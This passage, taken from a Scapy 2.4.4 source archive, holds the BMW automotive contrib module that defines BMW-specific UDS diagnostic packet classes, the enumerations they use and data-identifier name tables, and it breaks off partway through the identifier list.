scapy-2.4.4/scapy/contrib/automotive/bmw/000077500000000000000000000000001372370053500204055ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/bmw/__init__.py000066400000000000000000000004701372370053500225170ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive bmw specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/bmw/definitions.py000066400000000000000000012050631372370053500233010ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = BMW specific definitions for UDS # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, ShortField, ByteEnumField, X3BytesField, \ StrField, StrFixedLenField, LEIntField, LEThreeBytesField, PacketListField from scapy.contrib.automotive.uds import UDS, UDS_RDBI, UDS_DSC, UDS_IOCBI, \ UDS_RC, UDS_RD, UDS_RSDBI, UDS_RDBIPR BMW_specific_enum = { 0: "requestIdentifiedBCDDTCAndStatus", 1: "requestSupportedBCDDTCAndStatus", 2: "requestIdentified2ByteHexDTCAndStatus", 3: "requestSupported2ByteHexDTCAndStatus", 128: "ECUIdentificationDataTable", 129: "ECUIdentificationScalingTable", 134: "BMW_currentUIFdataTable", 135: "BMW_physicalECUhardwareNumber", 136: "BMW_changeIndex", 137: "BMW_systemSupplierECUserialNumber", 138: "BMW_systemSupplierSpecific", 139: "BMW_systemSupplierSpecific", 140: "BMW_systemSupplierSpecific", 141: "BMW_systemSupplierSpecific", 142: "BMW_systemSupplierSpecific", 143: "BMW_systemSupplierSpecific", 144: "VIN - Vehicle Identification Number", 145: "vehicleManufacturerECUHardwareNumber", 146: "systemSupplierECUHardwareNumber", 147: "systemSupplierECUHardwareVersionNumber", 148: "systemSupplierECUSoftwareNumber", 149: "systemSupplierECUSoftwareVersionNumber", 150: "exhaustRegulationOrTypeApprovalNumber", 151: "systemNameOrEngineType", 152: "repairShopCodeOrTesterSerialNumber", 153: "programmingDate", 154: "BMW_vehicleManufacturerECUhardwareVersionNumber", 155: "BMW_vehicleManufacturerCodingIndex", 156: "BMW_vehicleManufacturerDiagnosticIndex", 157: "BMW_dateOfECUmanufacturing", 158: "BMW_systemSupplierIndex", 159: "BMW_vehicleManufECUsoftwareLayerVersionNumbers", 241: "BMW / OBD tester address", 245: "OBD via function bus", 250: "MOST tester address"} BMW_memoryTypeIdentifiers = { 0: "BMW_linearAddressRange", 1: "BMW_ROM_EPROM_internal", 2: "BMW_ROM_EPROM_external", 3: "BMW_NVRAM_characteristicZones_DTCmemory", 4: "BMW_RAM_internal_shortMOV", 5: "BMW_RAM_external_xDataMOV", 6: "BMW_flashEPROM_internal", 7: "BMW_UIFmemory", 8: "BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs", 9: "BMW_flashEPROM_external", 11: "BMW_RAM_internal_longMOVatRegister"} class IOCBLI_REQ(Packet): name = 'InputOutputControlByLocalIdentifier_Request' fields_desc = [ ByteField('inputOutputLocalIdentifier', 1), ByteEnumField('inputOutputControlParameter', 0, {0: "returnControlToECU", 1: "reportCurrentState", 2: "reportIOConditions", 3: "reportIOScaling", 4: "resetToDefault", 5: "freezeCurrentState", 6: "executeControlOption", 7: "shortTermAdjustment", 8: "longTerAdjustment", 9: "reportIOCalibrationParameters"})] bind_layers(UDS, IOCBLI_REQ, service=0x30) UDS.services[0x30] = 'InputOutputControlByLocalIdentifier' class RDTCBS_REQ(Packet): name = 'ReadDTCByStatus_Request' fields_desc = [ ByteEnumField('statusOfDTC', 0, BMW_specific_enum), ShortField('groupOfDTC', 0)] bind_layers(UDS, RDTCBS_REQ, service=0x18) UDS.services[0x18] = 'ReadDTCByStatus' class RSODTC_REQ(Packet): name = 'ReadStatusOfDTC_Request' fields_desc = [ ShortField('groupOfDTC', 0)] bind_layers(UDS, RSODTC_REQ, service=0x17) UDS.services[0x17] = 'ReadStatusOfDTC' class REI_IDENT_REQ(Packet): name = 'Read ECU Identification_Request' fields_desc = [ ByteEnumField('identificationDataTable', 0, BMW_specific_enum)] bind_layers(UDS, REI_IDENT_REQ, service=0x1a) UDS.services[0x1a] = 'ReadECUIdentification' class SPRBLI_REQ(Packet): name = 'StopRoutineByLocalIdentifier_Request' fields_desc = [ ByteEnumField('localIdentifier', 0, {1: "codingChecksum", 2: "clearMemory", 3: "clearHistoryMemory", 4: "selfTest", 5: "powerDown", 6: "clearDTCshadowMemory", 7: "requestForAuthentication", 8: "releaseAuthentication", 9: "checkSignature", 10: "checkProgrammingStatus", 11: "executeDiagnosticService", 12: "controlEnergySavingMode", 13: "resetSystemFaultMessage", 14: "timeControlledPowerdown", 15: "disableCommunicationOverGateway", 31: "SweepingTechnologies"}), StrField('routineExitOption', b"")] bind_layers(UDS, SPRBLI_REQ, service=0x32) UDS.services[0x32] = 'StopRoutineByLocalIdentifier' class ENMT_REQ(Packet): name = 'EnableNormalMessageTransmission_Request' fields_desc = [ ByteEnumField('responseRequired', 0, {1: "yes", 2: "no"})] bind_layers(UDS, ENMT_REQ, service=0x29) UDS.services[0x29] = 'EnableNormalMessageTransmission' class WDBLI_REQ(Packet): name = 'WriteDataByLocalIdentifier_Request' fields_desc = [ ByteEnumField('recordLocalIdentifier', 0, {144: "shortVIN"}), StrField('recordValue', b"")] bind_layers(UDS, WDBLI_REQ, service=0x3b) UDS.services[0x3b] = 'WriteDataByLocalIdentifier' class RDS2TCM_REQ(Packet): name = 'ReadDS2TroubleCodeMemory_Request' fields_desc = [ ByteField('DS2faultNumber', 0)] bind_layers(UDS, RDS2TCM_REQ, service=0xa0) UDS.services[0xa0] = 'ReadDS2TroubleCodeMemory' class RDBLI_REQ(Packet): name = 'ReadDataByLocalIdentifier_Request' fields_desc = [ ByteField('recordLocalIdentifier', 0)] bind_layers(UDS, RDBLI_REQ, service=0x21) UDS.services[0x21] = 'ReadDataByLocalIdentifier' class RRRBA_REQ(Packet): name = 'RequestRoutineResultsByAddress_Request' fields_desc = [ X3BytesField('routineAddress', 0), ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers)] bind_layers(UDS, RRRBA_REQ, service=0x3a) UDS.services[0x3a] = 'RequestRoutineResultsByAddress' class RRRBLI_REQ(Packet): name = 'RequestRoutineResultsByLocalIdentifier_Request' fields_desc = [ ByteField('routineLocalID', 0)] bind_layers(UDS, RRRBLI_REQ, service=0x33) UDS.services[0x33] = 'RequestRoutineResultsByLocalIdentifier' class SPRBA_REQ(Packet): name = 'StopRoutineByAddress_Request' fields_desc = [ X3BytesField('routineAddress', 0), ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers), StrField('routineExitOption', 0)] bind_layers(UDS, SPRBA_REQ, service=0x39) UDS.services[0x39] = 'StopRoutineByAddress' class STRBA_REQ(Packet): name = 'StartRoutineByAddress_Request' fields_desc = [ X3BytesField('routineAddress', 0), ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers), StrField('routineEntryOption', 0)] bind_layers(UDS, STRBA_REQ, service=0x38) UDS.services[0x38] = 'StartRoutineByAddress' class UDS2S_REQ(Packet): name = 'UnpackDS2Service_Request' fields_desc = [ ByteField('DS2ECUAddress', 0), ByteField('DS2requestLength', 0), ByteField('DS2ControlByte', 0), StrField('DS2requestParameters', 0)] bind_layers(UDS, UDS2S_REQ, service=0xa5) UDS.services[0xa5] = 'UnpackDS2Service' class SVK_DateField(LEThreeBytesField): def i2repr(self, pkt, x): x = self.addfield(pkt, b"", x) return "%02X.%02X.20%02X" % (x[0], x[1], x[2]) class SVK_Entry(Packet): fields_desc = [ ByteEnumField("processClass", 0, {1: "HWEL", 2: "HWAP", 4: "GWTB", 5: "CAFD", 6: "BTLD", 7: "FLSL", 8: "SWFL"}), StrFixedLenField("svk_id", b"", length=4), ByteField("mainVersion", 0), ByteField("subVersion", 0), ByteField("patchVersion", 0)] def extract_padding(self, p): return b"", p class SVK(Packet): prog_status_enum = { 1: "signature check and programming-dependencies check passed", 2: "software entry invalid or programming-dependencies check failed", 3: "software entry incompatible to hardware entry", 4: "software entry incompatible with other software entry"} fields_desc = [ ByteEnumField("prog_status1", 0, prog_status_enum), ByteEnumField("prog_status2", 0, prog_status_enum), ShortField("entries_count", 0), SVK_DateField("prog_date", b'\x00\x00\x00'), ByteField("pad1", 0), LEIntField("prog_milage", 0), StrFixedLenField("pad2", 0, length=5), PacketListField("entries", [], cls=SVK_Entry, count_from=lambda x: x.entries_count)] bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf101) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf102) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf103) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf104) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf105) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf106) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf107) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf108) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf109) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf110) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf111) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf112) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf113) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf114) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf115) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf116) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf117) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf118) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf119) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf120) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf121) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf122) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf123) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf124) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf125) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf126) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf127) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf128) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf129) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf130) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf131) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf132) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf133) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf134) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf135) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf136) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf137) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf138) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf139) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13a) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13b) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13c) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13d) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13e) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13f) bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf140) UDS_RDBI.dataIdentifiers[0x0014] = "RDBCI_IS_LESEN_DETAIL_REQ" UDS_RDBI.dataIdentifiers[0x0015] = "RDBCI_HS_LESEN_DETAIL_REQ" UDS_RDBI.dataIdentifiers[0x0e80] = "AirbagLock" UDS_RDBI.dataIdentifiers[0x1000] = "testStamp" UDS_RDBI.dataIdentifiers[0x1001] = "CBSdata" UDS_RDBI.dataIdentifiers[0x1002] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1003] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1004] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1005] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1006] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1007] = "smallUserInformationField" UDS_RDBI.dataIdentifiers[0x1008] = "smallUserInformationFieldBMWfast" UDS_RDBI.dataIdentifiers[0x1009] = "vehicleProductionDate" UDS_RDBI.dataIdentifiers[0x100a] = "energySavingState" # or EnergyMode UDS_RDBI.dataIdentifiers[0x100b] = "Istep" # or I-Stufe UDS_RDBI.dataIdentifiers[0x100d] = "gatewayTableVersionNumber" UDS_RDBI.dataIdentifiers[0x100e] = "ExtendedMode" UDS_RDBI.dataIdentifiers[0x1010] = "fullVehicleIdentificationNumber" UDS_RDBI.dataIdentifiers[0x1011] = "vehicleType" UDS_RDBI.dataIdentifiers[0x1012] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1013] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1014] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1015] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1016] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1017] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1018] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1019] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101a] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101b] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101c] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101d] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101e] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x101f] = "chipCardData_1012_101F" UDS_RDBI.dataIdentifiers[0x1600] = "IdentifyNumberofSubbusMembers" UDS_RDBI.dataIdentifiers[0x1601] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1602] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1603] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1604] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1605] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1606] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1607] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1608] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1609] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x160f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1610] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1611] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1612] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1613] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1614] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1615] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1616] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1617] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1618] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1619] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x161f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1620] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1621] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1622] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1623] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1624] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1625] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1626] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1627] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1628] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1629] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x162f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1630] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1631] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1632] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1633] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1634] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1635] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1636] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1637] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1638] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1639] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x163f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1640] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1641] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1642] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1643] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1644] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1645] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1646] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1647] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1648] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1649] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x164f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1650] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1651] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1652] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1653] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1654] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1655] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1656] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1657] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1658] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1659] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x165f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1660] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1661] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1662] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1663] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1664] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1665] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1666] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1667] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1668] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1669] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x166f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1670] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1671] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1672] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1673] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1674] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1675] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1676] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1677] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1678] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1679] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x167f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1680] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1681] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1682] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1683] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1684] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1685] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1686] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1687] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1688] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1689] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x168f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1690] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1691] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1692] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1693] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1694] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1695] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1696] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1697] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1698] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x1699] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169a] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169b] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169c] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169d] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169e] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x169f] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16a9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16aa] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ab] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ac] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ad] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ae] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16af] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b8] = 